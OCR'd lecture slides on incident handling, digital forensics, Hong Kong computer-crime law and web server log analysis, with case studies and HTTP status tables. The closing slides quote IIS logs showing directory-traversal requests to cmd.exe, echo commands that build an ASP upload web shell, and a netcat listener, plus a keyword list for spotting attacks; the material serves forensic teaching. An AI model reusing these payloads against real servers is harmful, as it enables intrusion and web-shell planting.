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Incident handling

o Actions taken to protect, contain, restore and investigate when an adverse
event occurs

° Include detect and response stages
° Managed by responsible parties that follows a set of predefined procedures

o Usually established to perform the tasks of making security incident
response

° Procedures are designed and have to be properly revised




Core point of Incident
Handling

Management
o Arrange human and system resources

° Provide Appropriate directions
o Coordinate efforts

Business continuity
o Meet the Services Level Agreement

Reputation
° Provide good reputation of the company




Why use an Incident Handling
Methodology?

Efficient

Facilities understanding of the entire process in responding to incident
Helps to deal with unexpected incident

Provides structure and organization
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Understanding an Incident Life
Cycle

Incident opened
° Declared by the user
o Authorized and approved by the Data Owner

Transition stages
o Change of stage and associated actions

> From detection/identification to recovery stage

Incident closed
o Until no further action is required from the team

o Case may be reopened when new information is made available to the team




Eﬁ; nt Handling Cycle

- Escalation l“
scalation




Operation Procedures in
Incident Handling

Preparation

> Develop incident handling procedure & policy and organizeincident handling
team

Identification and Detection
o Determine whether or not an incident has occurred and its nature

Containment
° Limit the scope and magnitude of the incident

Escalation

o Transfer the incident related questions and issues related to domain
specialist
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Operation Procedures in
Incident Handling (Cont.)

Eradication
o Determine the cause of incident

Recovery
° Return the system to operational status

Investigation
° |ldentify the possible cause or possible attackers in the specific incident

Follow-up
o Lesson learnt from the incident and areas of improvement
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Detailed Procedures on

Incident Handling

Preparation

Detection and Analysis

Containment, Eradication, & Recovery

Post-Incident Activity E—— lndi(c)aftors
Locations .
Compromise
Tools,
Techniques, and
Procedures

Figure 9-2 of Enterprise CyberSecurity - The
incident response team uses the IOCcycle to
identify the resources and technigues being
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BT case:; HKSAR vs CHAN NA|
MING (Cont.)

Officer-in-Charge (OC) received information fromintelligence team. That complaint was initiated by
Copyright Owner that some new torrent of new movies were found in HK newsgroup

10Jan 2005
> A customs officer browsed a HK movie newsgroup and saw a reference to Big Crook having uploaded a file

“

to the BitTorrent newsgroup, which relatedto a film called "Daredevil“.

° There were imagesof inlay cards from the film, which had a picture of a statuette superimposed onto
them and a .torrent file.

> The .torrent file wasdownloaded and activated by the officer and showed the seeder's |P address, where
the source seed was located.

o The officer downloaded the film, as did two of the other downloaders, before the connection was broken

11 January 2005
o the same procedure was followed with two other films called "Red Planet" and "Miss Congeniality".

10-11Jan 2005
o Communicated with ISP and Forum for the IP address and account owner of the |P address.

12 Jan 2005, 7:00am
o Laid ambush outside the defendant's home

19/11/2015




BT case: HKSAR vs CHAN NA
MING (Cont.
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BT case:; HKSAR vs CHAN NA|
MING (Cont.)

Defendant is before this court facing three charges

o Section 118(1)(f) of the Copyright Ordinance, Cap 528. of attempting to
distribute an infringing copy of a copyright work, other than for the purpose
of or in the course of any trade or business, to such an extent as to affect
prejudicially the rights of the copyright owner;

o Three alternative charges of obtaining access to a computer with dishonest
intent, contrary to section 161(1) (c) of the Crimes Ordinance, Cap 200.
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Edison Chen’s Scandal

W —— S— On Feb 2008, Internet users use FOXY
[eRs = ~] to share Edison’s scandal photos
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|1, blow | Q%ﬁﬁﬁ‘ﬁ\ the internet,-theyllqpassdon tL]e
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Case 19/4/2011: Police
Information Leakage

Appledaily reported that users can use keyword — ‘pol’ to search for
undercover reports from OCTB (Organized Crime and Triad Bureau) and
NB (Narcotics Bureau)
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Case 22/06/2008 : Confidential
egal Documents Leaked from 5

Leaked documents included
letterheads from the law firms
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Types of Computer crimes

Spammers
° (no offence itself under the laws of HK as in Apr 2003)

> May be classified under other ordinance (Personal Data Privacy
Ordinance, crime ordinance)

Intruders
o> No offence itself under the laws of HK

> May be classified under other ordinance (crime ordinance,
telecommunication ordinance)

Denial of Services
> No offence itself under the laws of HK
> May be classified under other ordinance (crime ordinance)
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Supporting Ordinance

Crimes Ordinance, Section 161, Cap 200 (Cont.)

> Dishonest intent of access to a computer

Crimes Ordinance, Section 59, Cap 200 (Cont.)

> Criminal damage to property
> Misuse of Computer

Crimes Ordinance, Section 60, Cap 200

o Destroys or damages of any property without lawful
excuse
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Supporting Ordinance (Cont.)

Crimes Ordinance, Section 62, Cap 200

> Possessing anything with intent to destroy or damage of
property

Crimes Ordinance, Section 61, Cap 200
> Threats to destroy or damage property

Section 27A, Telecommunications Ordinance, Cap
106

> Obtain unauthorized access to any program or data held
via telecommunication

19/11/2015




FEvidence




Legal Requirement

Authenticity
o For evidence to be admissible it must be authentic and this means that the:

° Records must not be altered, manipulated or damaged after they were created

o Softwareprograms generating the records must be reliable
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Admissibility under HK Law

Under Section 9 of Hong Kong’s Electronic Transactions Ordinance, an
electronic record cannot be denied admissibility as legal evidence on
‘the sole ground that it is an electronic record.

In addition, Section 5 of the Electronic Transactions Ordinance also
provides that if information must be given in writing, an electronic
record can suffice as long as the information contained in the record is
accessible
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Details in the
Forensics Process




What is Forensics Science

Criminalistics : profession and scientific discipline directed to the
recognition, identification, individualization, and evaluation of physical
evidence by application of the physical and natural sciences to law-
science matters

American Board of Criminalistics

Criminalistics : the branch of forensic science that involves collection
and analysis of physical evidence generated by criminal activity
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Aim of Forensics Investigation

To dig out the evidence related to computer crime

Preserve the chain of custody of the entire case

To build the case from the fragmented information
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Best Practices on Digital
Forensics

ISFS, “Computer Forensics Best Practices”, www.isfs.org.hk

ACPO, “Good Practice Guide for Computer based Electronic
Evidence v3.0”. [online], U.K. Available from:
http://www.nhtcu.org/media/documents/publications/ACP
O Guide for computer-based electronic evidece.pdf

(Accessed 30/1/06)
DFRWS’ Digital Investigative Framework

DOJ’s Electronic Crime Scene Investigation Guide
Séamus’ “An Extended Model of Cybercrime Investigations”

FORZA Framework
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Computer Forensics Best
Practices (ISFS)

Developed in April 2004

Prepared by Information Security and Forensics Society of Hong Kong

Has been presented as best practices in HK Court in 2008
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Edison Case

From Apple Daily Newspaper (Jan 30, 2008 & Feb 07, 2008)

i Ll
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Example of forged image
identifiable from naked eye

1. Skin color not match

2. Light direction not match
3. Wall line not straight

4. Color change not smooth
5. Leg size not match

Photo from FHM
(www.fhmus.com), by
www.cahanphotorgraphy.com

Reposted in
http://www.hackerfactor.com/blog

/index.php?/categories/1-Image-
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Principle Component Analysis
examples

PCA-1 enhance quality difference Original image
that show possible differentlayers




Error Level Analysis examples

Original 95% ELA visualized
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What is Computer Forensics

Computer Forensics is primarily concerned with the proper acquisition,
preservation and analysis of digital evidence, typically after an
unauthorized access or use has taken place
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Preservation in Crime Scene

Cooperation might involve cordoning off the crime scene to ensure that
° The area is not disturbed

o Evidence is not accidentally contaminated or tampered with
o Forensics professionals have access to the necessary information or locations
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Difference in Digital and
Physical Evidence Collection

Handling digital evidence differs in many ways from handling physical
evidence

An investigator must know
o Where to look for digital evidence
° The proper way to acquire this evidence

> How to handle and preserve this evidence in such a manner that preserves
its probative value
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Best Practices in ISFS

1. Follow Evidence Handling Principles
> Principle 1: No change of data
° Principle 2: Only competent persons should access digital evidence

> Principle 3: Documentation
° Principle 4: Ownership

2. Initial Assessment

3. Evidence gathering considerations
4. Image copy

5. Analysis
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1. Evidence Handling
Principles

According to G8 recommendations

o 1. upon seizing digital evidence, ensure that the evidence is not changed and
that only persons who are suitably trained should be allowed to access
original digital evidence should the need arise

o 2. There must be full documentation of all activities related to the seizure,
access, storage or transfer of digital evidence.

o 3. The person in charge of the investigation must have overall responsibility
for ensuring that these principles (and the law)
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2. Initial Assessment

Computer Forensics specialist must go to a site to acquire evidence

Determine the types of computer systems in use so that he or she can
then bring the appropriate software and hardware tools to the scene
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3. Evidence Gathering Considerations

ltems for forensic examination should be preserved securely as soon as
possible with all items taken, including image copies, examined in the
laboratory or forensic work space rather than at the scene

All these should be performed in accordance with relevant jurisdictional
guidelines
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4. Image Copy

In most computer forensic examinations, the next step is to make an
exact copy of the data residing on the evidence hard disk (or other
electronic digital storage device)

o Forensically Sterile Media (i.e. Content of the source data not changed and
stored media sterilized)

o Exactness
o Time

19/11/2015




5. Analysis

The forensics specialist needs to consider, among other things

° The urgency and priority of the need for information
° Time constraints

o Which items have the potential to provide the most information, the best
choice of target data, in terms of evidential value
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Requirements for a Chain of
Custody

Preserving a chain of custody requires the ability to prove that:
° No information has been added or changed
> To do so, media should be write protected and virus checked
all media
° A complete copy was made
> To meet this requirement, the Compute Forensics specialist
makes image copies A reliable copying process was used

o All media was secured to assure that original copies are preserved
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What is Reliable Copy?

Three critical characteristics
° Did the process must meet industry standards for quality and reliability?

> This includes the software used to create the copy and the
media on which the copy is made

> A good test for software as to whether it measures up is
whether law enforcement agencies use and rely on the
software

> Were the copies capable of independent verification?

o Were the copies created tamper proof?
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ACPO Principles

Principle 1

> No action taken by law enforcement agencies or their agents should change data
held on a computer or storage media which may subsequently be relied upon in
court

Principle 2

° In exceptional circumstances, where a person finds it necessary to access original
data held on a computer or on storage media, that person must be competent to
do so and be able to give evidence explaining the relevance and the implications
of their actions

Principle 3
> An audit trail or other record of all processes applied to computer based

electronic evidence should be created and preserved. An independent third party
should be able to examine those processes and achieve the same result

Principle 4

> The person in charge of the investigation (the case officer) has overall
responsibility for ensuring that the law and these principles are adhered to
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FORensics-ZAchman Model

FORZA framework is derived based on Zachman

It is an extended model that covers various forensics model using
Zachman model.

Focus more on the static attributes of the forensics aspects
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FORZA Framework

Roles in Digital Forensics
° |nvestigator in Chief/Officer in Charge (Contextual Investigation Layer)

o System Owner (Contextual Layer)

o Legal Advisor (Compliance Advisory Layer)

o Security/System Architect/Auditor (Conceptual Security Layer)

o |IT Forensics Specialists (Technical Preparation Layer)

> Forensics Investigators/System Administrator/Operator (Collection Layer)
> Forensics Investigators/Forensics Analysts (Analysis Layer)

o Legal Prosecutor (Presentation layer)
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FORZA Framework

Why What How Where Who When

Motivation Data Function Network People Time

Investigation Event Nature Requested Initial Investigation Geograhy Initial Participants Investigation
Chief Investigator/Officer in Objectives Investigation Timeline

Charge (Contextual
Investigation Layer)

System Owner (if any)
(Contextual Layer)

Business Objectives

Business & Event
Nature

Business & System
Process Model

Business Geography

Organization &
Participants
relationship

Business & Incident
Timeline

System/Security System Information Security Mechanisms Security Domain and Users and Security Security Timing and
Security/System Control Objectives and Security Control Network Infrastructure Entity Model Sequencing
Architect/Auditor Model
(Conceptual Security Layer)

Forensics Forensics Data Model Forensics Strategy Design Forensics Data Forensics Entity Hypothetical
IT Forensics Specialists Investigation. . Geography Model F<?ren§ics Event
(Technical Preparation Layer) Strategy Objectives Timeline

Forensics On-site Forensics Data Forensics Site Network Forensics Participants Forensics

. . Acquisition Observation Acquisition/Seizure Data Acquisition Interviewing and Acquisition Timeline

Foret.ls¥cs Investigators/System Objectives Proceiines Hearing
Administrator/Operator
(Collection Layer)

Forensics Event Data Forensics Analysis Network Address Entity and Evidence Event Timeline
Forensics Examination Reconstruction Procedures Extraction and Relationship Reconstruction
Investigators/Forensics Analysts Objectives Analysis Analysis

(Analysis Layer)




Detection anad

Analysis of Web
Attacks




Web Server Logging

Log user activities on web application

Provide trails if web application attacks take place
Provide clues/hints to fix web application

As evidence if necessary, so should make sure no one can alter/modify
web server log manually

Most useful in locating attack though a HTTP GET request
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How to Analyze Log

Grab the sensitive keywords:
> phfscan.c
° .htr

o cmd.exe

Grab Error Status — indication of possible scanning
o grep 404 error
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Log Format of NCSA and W3C

NCSA Format
Fixed (non-customizable) ASCII format

Separated by spaces
Rime is recorded as local time

Contains records basic information about user requests
° Remote host name
> User name
o Date
° Time
Request type
HTTP status code
Number of bytes sent

o

o

o
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NCSA Log Example

202.56.125.64 - - [14/Mar/2002:11:57:33 +0800]
"GET /index.html HTTP/1.1" 200 1000




NCSA Log Example (Cont.)

202.56.125.64 - - [14/Mar/2002:11:57:33 +0800] "GET /index.html
HTTP/1.1" 200 1000

An unknown user with an IP address 202.56.125.64 has issued a HTTP
GET request to retrieve the index.html at 2002 Mar 14 11:57:33.The
request returned, without error, 1000 bytes of data has sent to that
user
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W3C Extended Log File Format

Customizable ASCIl format
Separated by spaces
Time is recorded as UTC (Green Mean Time)

Extend specification can be found on www.w3.org

Fields can include

*Client IP Address (c-ip) eProtocol Status (sc-win32-status)
eUser Name (cs-username) *Bytes Sent (sc-bytes)

eService Name (s-sitename) Bytes Received (cs-bytes)
*Server Name (s-computername)  eTime Taken (time-taken)

eServer IP Address (s-ip) e Protocol Versin (cs-version)
eServer Port (s-port) e Host (cs-host)

* Method (cs-method) eUser Agent (cs(User-Agent))

e URI Stem (cs-uri-stem) e Cookie ( cs(Cookie))

eURI Query (cs-uri-query) eReferer (cs(Referer))
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W3C Extended Log File Format
Example

= =

2002-53-14 06:23:54 192.168.100.69 —
GET /hp/index.htm 47469 415 80

Mozilla/ 1.0+(compatible;+IMSIE+6.0;+Windows+NT+5
.03;+0Q31:2461)




W3C Extended Log File Format
Example (Cont.)

#HSoftware: Microsoft Internet Information Services 5.0

#HVersion: 1.0
#Date: 2002-03-14 06:21:57

#Fields: date time c-ip cs-username cs-method cs-uri-stem sc-bytes cs-
bytes time-taken cs(User-Agent)

2002-03-1406:23:54192.168.100.69 - GET /hp/index.htm 47469415 80
Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0;+Q312461)
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Web Log — IIS Log

i [

127.0.0.1, SCANNER\Administrator, 9/10/2001, 18:53:33, W3SVCI, SCANNER,
127.0.0.1, 130, 301, 1803, 200, 0, GET, /warning.gif, -,

N
e

A\
B4
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Log File Review

Understanding IIS log fields
(from www.securityfocus.com/infocus/1712)

Field name Descriptions Uses
Date (date) The date request Event correlation
Time (time) The UTCtime of the request Event correlation, determine time zone,
identify scanning scripts
Client IP Address(c- | The IP address of the client or Identify user or proxy server
ip) proxy that sent the request
User Name (cs- The user name used to Identify compromised user passwords
username) authenticate to the resource
Service Name (s- The W3SVCinstance number of Can verify the site accessed if the log files
sitename) the site accessed are later moved from the system
Server Name (s- The Windows host name assigned | Can verify the server accessed if the log files
computername) to the system that generated the | are later moved from the system
log entry
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Log File Review (Cont.)

Field name

Descriptions

Uses

Server IP
Address (s-ip)

The IP address that received the
request.

Can verify the IP address accessed if
the log files are later moved from the
system or if the server is moved to a
new location

Server Port (s-
port)

The TCP port that received the
request

To verify the port when correlating
with other types of log files

Method (cs- The HTTP method used by the Can help track down abuse of scripts or
method) client executables
URI Stem (cs- | The resource accessed on the Can identify attack vectors

uri-stem)

server
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Log File Review (Cont.)

Field name Descriptions Uses

URI Query (cs- | The contents of the query string | Can identify injection of malicious
uri-query) portion of the URI. data.

Protocol The result code sent to the Can identify CGl scans, SQL injection
Status (sc- client. and other intrusions.

status)

Win32 Status | The Win32 error code produced | Can help identify script abuse.
(sc-win32- by the request.

status)

Bytes Sent (sc-
bytes)

The number of bytes sent to
the client.

Can help identify unusual traffic from
a single script.

Bytes
Received (cs-
bytes)

The number of bytes received
from the client.

Can help identify unusual trafficto a
single script.
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Log File Review (Cont.)

Field name

Time Taken
(time-taken)

Descriptions

The amount of server time, in
milliseconds, taken to process the
request

Uses

Can identify unusual activity from a single
script

Protocol Version
(cs-version)

The HTTP protocolversion supplied
by the client

Can help identify older scripts or browsers

Host (cs-host)

The contents of the HTTP Host
header sent by the client

Can determine if the user browsed to the
site by IP address or host name

User Agent
(cs(User-Agent))

The contents of the HTTP User-
Agent header sent by the client

Can help uniquely identify users or attack
scripts

Cookie The contents of the HTTP Cookie Can help uniquely identify users
(cs(Cookie)) header sent by the client

Referer The contents of the HTTP Referer Can help identify the source of an attack or
(cs(Referer)) header sent by the client see if an attacker is using search engines to

find vulnerable sites
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Explaining Web logs

Analysis on Web status logs
o http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html
o http://www.w3.org/Protocols/HTTP/HTRESP.html

Increase in HTTP 404
> Page not found

> Very likely due to web scanner against the web site

Increase in HTTP 401

> Authorization Required error

> Attacker tries to brute-force accounts on a password-protected
web site
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Explaining Web Logs (Cont.)

Increase in network traffic targeting a specific protocol
> Worm appears on Internet

Increase in outgoing network traffic targeting a specific
protocol
> Qutgoing network traffic

° Increase in CPU usage
> Worm affected the server and begins to attack to other servers

An increase in bytes in outgoing FTP or HTTP
> Attacker created an anonymous download site
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Explaining Web Logs (Cont.)

Increase in HTTP 500 Server Errors

> An attacker tried to exploit an SQL injection vulnerability in
the web application

Increase in outgoing SMTP traffic; Increase in outgoing
DNS lookups; increase in CPU usage
> Attacker spam the SMTP server via mail relaying

Increase in processes running on the server; but with
small increase in CPU and memory usage; small
decrease in available disk space

> Attacker exploits a buffer overflow and install various tools to
increase control of server or network
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Explaining Web Logs (Cont.)

Increase in ICMP traffic;increase in various IP errors; increase in TCP
connections; increase in multicast traffic; increase in general traffic
coupled with a decrease in actual web hits; an increase in TCP packets

without much increase in actual bandwidth
o Attacker conduct DDoS attack at the web site

Increase in IDS alerts
° An attacker is just trying to break in
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Web HTTP Status (1xx)

100 | Continue The client SHOULD continue with its request. This is an interim
response.

101 | SwitchingProtocols fora changein the application protocol being used on this
connection.
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Web HTTP Status (2xx)

Successful 2xx

OK

The request has succeeded.

201 | Created The request has been fulfilled and resulted in a new resource
being created.

202 | Accepted The request has been accepted for processing, but the processing
has not been completed.

203 | Non-Authoritative The returned meta-information in the entity-header is not the

Information definitive set as available from the origin server, but is gathered

from a local or a third-party copy.

204 | No Content The server has fulfilled the request but does not need to return an
entity-body, and might wantto return updated meta-information.

205 [ ResetContent The server has fulfilled the request and the user agent SHOULD
reset the document view which caused the request to be sent.

206 | Partial Content The serverhas fulfilled the partial GET request for the resource.
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Web HTTP Status (3xx

3xx Redirection 3xx

300 | Multiple Choices The requestedresource corresponds to any one of a set of representations,
each with its own specific location, and agent- driven negotiation
information (section 12) is being provided so that the user (or user agent)
can select a preferred representation and redirect its request to that
location.

301 Moved Permanently The requestedresource has been assigned anew permanent URland any
future references to this resource SHOULD use one of the returned URIs.

302 Found The requestedresource resides temporarily under a different URI.
Redirection

303 | SeeOther The response to the request can be found under adifferent URIand
SHOULD be retrieved using a GET method on that resource.

304 Not Modified If the client has performed a conditional GET request and access is allowed,
but the document has not been modified, the server SHOULD respond with
this status code.

305 | Use Proxy The requestedresource MUST be accessed through the proxygiven by the
Location field.

306 | (Unused)

307 | Temporary Redirect The requestedresource resides temporarily under adifferent URL. Since the
redirection MAY be altered on occasion, the client SHOULD continue to use
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Web HTTP Status (4xx)

4xx  Client Error 4xx

400 Bad Request The request could not be understood by the serverdue to
malformed syntax.

401 Unauthorized The requestrequires userauthentication.

Payment Required This code is reserved for future use.

403 Forbidden The serverunderstood the request, but is refusing to fulfill it.

404 Not Found The server has not found anything matching the Request-URI.

405 | Method Not Allowed The method specified inthe Request-Line is not allowed for the
resource identified by the Request-URI.

406 | Not Acceptable The resource identified by the requestis only capable of
generating response entities which have content characteristics
not acceptable according to the accept headerssentin the
request.
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Web HTTP Status (4xx)

4xx  Client Error 4xx

407 | Proxy Authentication This code is similar to 401 (Unauthorized), butindicates that the
Required client must first authenticate itself with the proxy.

408 | Request Timeout The clientdid not produce a request within the time that the
server was prepared to wait.

409 | Conflict The request could not be completed due to a conflict with the
current state of the resource.

410 | Gone The requested resource is no longer available at the serverand
no forwarding address is known.

411 | Length Required The serverrefuses to accept the request without a defined
Content- Length.

412 | PreconditionFailed The precondition givenin one or more of the request-header
fields evaluated to false when it was tested on the server.

413 | RequestEntity Too Large | The serveris refusingto process a request because the request
entityis larger than the serveris willing or able to process.
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Web HTTP Status (4xx)

4xx

414

Client Error 4xx

Request-URIToo Long

The serveris refusing to service the request because the Request-
URI is longerthan the serveris willing to interpret.

415

Unsupported MediaType

The serveris refusing to service the request because the entity of
the requestis in a format not supported by the requested
resource for the requested method.

416

Requested Range Not
Satisfiable

A server SHOULD return a response with this status code if a
request included a Range request-header field (section 14.35), and
none of the range-specifier values in this field overlap the current
extent of the selected resource, and the request did not include an
If-Rangerequest-header field. (For byte-ranges, this means that
the first- byte-pos of all of the byte-range-specvalues were
greater than the current length of the selected resource.)

417

Expectation Failed
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The expectationgiveninan Expect request-headerfield (see
section 14.20) could not be met by this server, or, if the serveris
a proxy, the server has unambiguous evidence that the request




Web HTTP Status (5xx)

5xx Server Error 5xx

500 Internal ServerError The server encountered an unexpected condition which
prevented it from fulfilling the request.

501 Not Implemented The serverdoes not support the functionality required to fulfill
the request. This is the appropriate response when the server
does not recognize the request method and is not capable of
supporting it for any resource.

502 Bad Gateway The server, while acting as a gateway or proxy, received an
invalid response from the upstreamserver it accessed in
attempting to fulfill the request.

503 Service Unavailable The serveris currently unable to handle the requestdue to a
temporary overloading or maintenance of the server.

504 Gateway Timeout The server, while acting as a gateway or proxy, did not receive a
timelyresponse from the upstream server specified by the URI
(e.g. HTTP, FTP, LDAP) or some other auxiliary server (e.g. DNS) it
needed to access in attempting to complete the request.

505 HTTP Version Not The serverdoes not support, or refuses to support, the HTTP
Supported protocol version that was usedin the request message.
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Exploring Web
LOgs




Investigation of Log Files

: : ALY, =, , 18:41:02, W3SVC1l, NT40SP3,
502, 0, GET, /scripts/../../winnt/system32/cmd.exe,
/ctcopy+c:\winnt\system32\cmd. exe+C:\InetPub\scripts\sensepost.exe%22,
192.168.100.19, -, 6/27/01, 18:41:02, W3SVC1l, NT40SP3, 192.168.100.103, 130, 190, 355,
502, 0, GET, /scripts/sensepost.exe,
/ctecho%$20"%3chtml *$3e”%3chead”%3e”%3ctitle”%3e0lifante%20onder%20my%20bed”%$3c/title”%3e”
%3c/head”%$3e”%$3cbody”%$3e%20>>%20c :\ inetpub\wwwroot \upload. asp,
192.168.100.19, -, 6/27/01, 18:41:02, W3SVC1l, NT40SP3, 192.168.100.103, 60, 149, 355,
502, 0, GET, /scripts/sensepost.exe,
/ctecho%$20”%$3cform%$20method% 3dpost%20ENCTYPES3d"multipart/ form-
data""%3e%20>>%20c:\inetpub\wwwroot \upload. asp,
192.168.100.19, -, 6/27/01, 18:41:02, W3SVC1l, NT40SP3, 192.168.100.103, 60, 154, 355,
502, 0, GET, /scripts/sensepost.exe,
/ctecho%$20F11e%20:%207%3cinput$20types3d"file"$20name33d"Filel" "$3e"%3cbr"%$3e%20>>%20c:\1
netpub\wwwroot\upload.asp,
192.168.100.19, -, 6/27/01, 18:41:02, W3SVCl, NT40SP3, 192.168.100.103, 60, 168, 355,
502, 0, GET, /scripts/sensepost.exe,
/ctecho%20"%3cinput%20type%s3d" submi t"%$20Name%3d"Action" %$20value$3d"Upload%20the%20file" "%
3e%20>>%20c :\ inetpub\wwwroot \upload.asp,
192.168.100.19, -, 6/27/01, 18:41:02, W3SVCl, NT40SP3, 192.168.100.103, 60, 100, 355,
502, 0, GET, /scripts/sensepost.exe,
/ctecho%20"%3c/form*%3e%20>>%20c: \inetpub\wwwroot\upload.asp,
192.168.100.19, -, 6/27/01, 18:41:02, W3SvVCl, NT40SP3, 192.168.100.103, 61, 113, 355,

, 0, GET, /scripts/sensepost.exe,
/ctecho%20”%3c/body”*%$3e”%3c/HTML” $3e%20>>%20c : \inetpub\wwwroot\upload. asp,
192.168.100.19, -, 6/27/01, 18:41:02, W3SvCl, NT40SP3, 192.168.100.103, 50, 130, 355,
502, 0, GET, /scripts/sensepost.exe, /ctecho%207%3c!-—#INCLUDE$20FILE%$3d"upload.inc"--
~%3e%20>>%20c : \inetpub\wwwroot \upload. asp,
192.168.100.19, -, 6/27/01, 18:41:02, W3SVC1l, NT40SP3, 192.168.100.103, 50, 94, 355, 502,
0, GET, /scripts/sensepost.exe, /ct+echo%207%3c%25%20>>%20c:\inetpub\wwwroot\upload.asp,
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Investigation of Log Files
Cont.

A0 1Y, =, &

/samples/image

.100.19, -, 6/27/01, 17:58:18, W3SVC1, NT40SP3,

/samples/images/h samp.gif, -,

.100.19, -, 6/27/01, 17:58:18, W3SVC1l, NT40SP3, 192.168.100.

GET, /samples/images/h browse.gif, -,

.100.19, -, 6/27/01, 17:58:18, W3SVC1, NT40SP3, 192.168.100.

GET, /samples/images/powered.gif, -,

.100.19, -, 6/27/01, 17:58:18, W3SVC1l, NT40SP3, 192.168.100. 10, 286, 179,
GET, /Default.htm, -,

.100.19, -, 6/27/01, 17:58:18, W3SVC1l, NT40SP3, 192.168.100. 10, 347, 121,
GET, /samples/images/backgrnd.gif, -,

.100.19, -, 6/27/01, 17:58:18, W3SVC1l, NT40SP3, 192.168.100. 0, 345, 121, 304,
/samples/images/h logo.gif, -,

.100.19, -, 6/27/01, 17:58:18, W3SVC1l, NT40SP3, 192.168.100. 10, 344, 121,
GET, /samples/images/SPACE.gif, -,

.100.19, -, 6/27/01, 17:58:18, W3SVC1, NT40SP3, 192.168.100. 10, 343, 121,
GET, /samples/images/docs.gif, -,

.100.19, -, 6/27/01, 17:58:18, W3SVC1l, NT40SP3, 192.168.100. 0, 344, 121, 304,
/samples/images/tools.gif, -,

.100.19, -, 6/27/01, 17:58:18, W3SVC1l, NT40SP3, 192.168.100. 0, 345, 121, 304,
/samples/images/SPACE2 .gif, -,

.100.19, -, 6/27/01, 17:58:18, W3SVC1l, NT40SP3, 192.168.100. 10, 345, 121,
GET, /samples/images/h samp.gif, -,

.100.19, -, 6/27/01, 17:59:17, W3SVC1l, NT40SP3, 192.168.100. 56742, 347, 121,
GET, /samples/images/h browse.gif, -,

.100.19, -, 6/27/01, 17:59:17, W3SVC1l, NT40SP3, 192.168.100. 56742, 346, 121,
GET, /samples/images/powered.gif, -,

.100.19, -, 6/27/01, 18:00:32, W3SVC1l, NT40SP3, 192.168.100. 271, 381, 818,
GET, /scripts/..\../winnt/system32/cmd.exe, /c+dir+C:\,

.100.19, -, 6/27/01, 18:02:29, W3SVC1l, NT40SP3, 192.168.100.103, 80, 386, 3809,
GET, /scripts/..\../winnt/system32/cmd.exe, /c+dir+C:\winnt,
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Investigation of Log Files
Cont.

192.168.100.19,
0, GET,

5 60000 00000 0000000 000C0 000000000000 00000300000GC000000000C00000000o00o0o0Ul, =,
192.168.100.19, -, 6/27/01, 17:57:58, W3SVC1l, NT40SP3, 192.168.100.103, 1963, 3702, 1378,
0, GET,
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Investigation of Log Files
Cont.

ty real , -,
192.168.100.19, -, 6/27/01, 19:42:34, W3SvVC1l, NT40SP3, 192.168.100.103, 40,
200, 0, GET, /iisadmpwd/../../../../../../winnt/system32/cmd.exe,
/ct+dir+C:\WINNT\System32\inetsrv\iisadmpwd%22,
192.168.100.19, -, 6/27/01, 19:44:43, W3SVC1l, NT40SP3, 192.168.100.103, 80,
200, 0, GET, /iisadmpwd/../../../../../../winnt/system32/cmd.exe, /c+dir,
192.168.100.19, -, 6/27/01, 19:44:43, W3SVC1l, NT40SP3, 192.168.100.103, 10,
2, GET, /naughty real , -,
192.168.100.19, -, 6/27/01, 19:44:43, W3SVC1l, NT40SP3, 192.168.100.103, 60,
200, 0, GET, /iisadmpwd/../../../../../../winnt/system32/cmd.exe,
/ctdir+C :\WINNT\System32\inetsrv\iisadmpwd%22,

.100.19, -, 6/27/01, 19:45:16, W3SVC1l, NT40SP3, 192.168.100.103, 161923, 96,

GET, /iisadmpwd/sensepost.exe, /ctc:\inetpub\wwwroot\nc%20-1%20-p%2022%20-

.exe,
.100.19, -, 6/27/01, 19:45:34, W3SVC1l, NT40SP3, 192.168.100.103, 51625, 96,
GET, /iisadmpwd/sensepost.exe, /ct+c:\inetpub\wwwroot\nc%20-1%20-p%2022%20-
.exe,
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Sample Logs from Real Case

2001-05-16 22:21:31 210.178.226.132
2001-05-16 22:21:33 210.178.226.132
2001-05-16 22:21:35 210.178.226.132
2001-05-16 22:21:37 210.178.226.132
2001-05-16 22:21:39 210.178.226.132
2001-05-16 22:21:41 210.178.226.132
2001-05-16 22:21:43 210.178.226.132
2001-05-16 22:21:45 210.178.226.132
2001-05-16 22:21:47 210.178.226.132
2001-05-16 22:21 :49 210.178.226.132
2001-05-16 22:21:51 210.178.226.132
2001-05-16 22:21:53 210.178.226.132
2001-05-16 22:21:55 210.178.226.132
2001-05-16 22:21:57 210.178.226.132
80 HTTP/1.0 - -
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- W3SVC1 SERVER1 10.2.1.2 GET /secure/under_construct.asp 404;http://10.2.1.2/scripts/.. %c0%af.. /winnt/syste m32 /cmd.exe?/c+dir 20000 66 80 HTTP/1.0 - -
- W3SVC1 SERVER1 10.2.1.2 GET /secure/under_construct.asp 404;http://10.2.1.2/scripts/.. %c1% 9c.. /winnt/syste m32 /cmd.exe?/c+dir 2000 0 66 80 HTTP/1.0 - -
- W3SVC1 SERVER1 10.2.1.2 GET /secure/under_construct.asp 404;http://10.2.1.2/script s/..% c1%pc.. /winnt/system32 /cmd.exe?/c+dir 2000 0 66 80 HTTP/1:0-
- W3SVC1 SERVERL 10.2.1.2 GET /secure/under_construct.asp 404;http://10.2.1.2/scripts/..%c0% 9v..  /winnt/system32/cmd.exe? /c+dir 20000 66 80 HTTP/1.0 - -
- W3SVC1 SERVERL 10.2.1.2 GET /secure/under_construct.asp 404;http://10.2.1.2/scripts/.. %c0% qf../winnt/sy stem32/cmd.exe?/c+dir 200 00 66 80 HTTP/1.0 - -
- W3SVC1 SERVER1 10.2.1.2 GET /secure/under_construct.asp 404;http://10.2.1.2/scripts/.. %c1% 8s../winnt /syste m32/cmd.exe? /c+dir 20000 66 80 HTTP/1.0 - -
- W3SVC1 SERVER1 10.2.1.2 GET /secure/ under_construct.asp 404;http://10.2.1.2/scripts/..%c1%1c../winnt/sy stem32/cmd.exe?/c+dir 200 0 0 66 80 HTTP/1.0 -
- W3SVC1 SERVER1 10.2.1.2 GET /secure/under_construct.asp 404;http://10.2.1.2/scripts/..%c1% 9c../winnt/s ystem32/cmd.exe?/c+dir 20000 66 80 HTTP/1.0 - -
- W3SVC1 SERVER1 10.2.1.2 GET /secure/under_construct.asp 404;http://10.2.1.2/scripts/.. %c1%af.. /winnt/syste m32 /cmd.exe?/c+dir 20000 66 80 HTTP/1.0 - -
